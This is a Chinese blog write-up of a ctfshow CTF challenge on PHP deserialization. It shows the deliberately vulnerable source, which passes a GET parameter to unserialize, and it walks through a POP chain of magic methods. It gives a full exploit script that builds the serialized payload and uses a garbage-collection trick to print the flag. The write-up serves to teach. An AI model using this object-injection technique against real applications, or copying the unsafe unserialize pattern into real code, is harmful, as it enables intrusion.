ctfshow卷王杯-easy unserialize


题目源码

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");

class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();//$a3[MeMeMe]()
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

这里主要是讲一下在构造pop链里的一些问题,除此之外还要用到GC回收机制,在大佬的博客里已经讲的很清楚了,这里我就不在班门弄斧了,直接上传送门传送门

构造pop链

首先过一下每个类的函数,推测一下作用;

/**
 * class one:    public $object
 * MeMeMe():echo $flag  ->读flag
 * __destruct():$this->object->add() ->调用一个不存在的方法触发call()
 *  __toString():$this->object->string -> 读取不可访问属性触发get()
 *
 * class second:    protected $filename
 * addMe():"Wow you have sovled".$this->filename ->触发toString()
 *  __call($func, $args): call_user_func([$this, $func."Me"], $args) ->调用addMe()
 *
 * class third:  private $string
 * __construct($string):$this->string = $string
 * __get($name):$var = $this->$name;   $var[$name]() ->调用one:MeMeMe()
 *
 *构造的链子:
 * one:destruct()->second:call()->second:addMe()->one:toString()->third:get()->one:MeMeMe();
 */

触发one:destruct()->second:call()

$a=new one();
$c=new second();
$a->object=$c;

触发second:addMe()->one:toString()

$b=new one();
$c->filename=$b;

触发third:get()->one:MeMeMe()

$d=new third();
$b->object=$d;

触发GC回收机制

$n=null;
$payload=array($a,$n);

完整pop链

<?php
highlight_file(__FILE__);
class one {
    public $object;
    public $year_parm=array(0=>"Happy_func");
}

class second {
    public $filename;
}

class third {
    private $string;
    public function __construct()
    {
        $this->string=array("string"=>[new one(),"MeMeMe"]);
    }
}

//实现one:destruct()->second:call()
$a=new one();
$c=new second();
$a->object=$c;
//实现second:addMe()->one:toString()
$b=new one();
$c->filename=$b;
//实现third:get()->one:MeMeMe();
$d=new third();
$b->object=$d;

//触发GC回收机制
$n=null;
$payload=array($a,$n);
//var_dump($payload);
echo urlencode(serialize($payload));

当然最后对序列化后字符串的处理以及通过get()如何调用到one:MeMeMe()的方法在前面我给的大佬的博客里已经说的很清楚了,这里也不做过多的解释了。


文章作者: kento
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kento !
评论
  目录